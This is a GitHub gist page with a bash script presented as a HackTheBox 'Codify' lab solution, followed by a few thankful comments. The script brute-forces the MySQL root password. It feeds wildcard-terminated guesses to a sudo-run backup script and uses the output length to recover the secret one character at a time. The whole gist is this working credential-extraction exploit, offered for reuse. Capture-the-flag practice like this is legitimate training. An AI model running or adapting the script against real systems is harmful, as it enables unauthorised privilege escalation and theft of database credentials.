Skip to content

Instantly share code, notes, and snippets.

@m3m0o
Last active December 27, 2023 23:46
Show Gist options
  • Save m3m0o/d361597c44d252620919257641e11fc4 to your computer and use it in GitHub Desktop.
Save m3m0o/d361597c44d252620919257641e11fc4 to your computer and use it in GitHub Desktop.
HackTheBox Codify - Script to get mysql root password
password=""
while true; do
password_check=$(echo "$password" | sudo /opt/scripts/mysql-backup.sh 2>&1 | wc -l)
if [ $password_check -gt 2 ]
then
echo "$password"
break
fi
for char in {a..z} {A..Z} {0..9}; do
result_number_of_lines=$(echo "$password$char*" | sudo /opt/scripts/mysql-backup.sh 2>&1 | wc -l)
if [ $result_number_of_lines -gt 2 ]
then
password="$password$char"
continue
fi
done
done
@00NMLSS
Copy link

00NMLSS commented Nov 5, 2023

🤤

@MeninoAlfa
Copy link

👏

@dtureo2
Copy link

dtureo2 commented Nov 6, 2023

Very helpful, thanks!

@shayol33
Copy link

very helpful

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment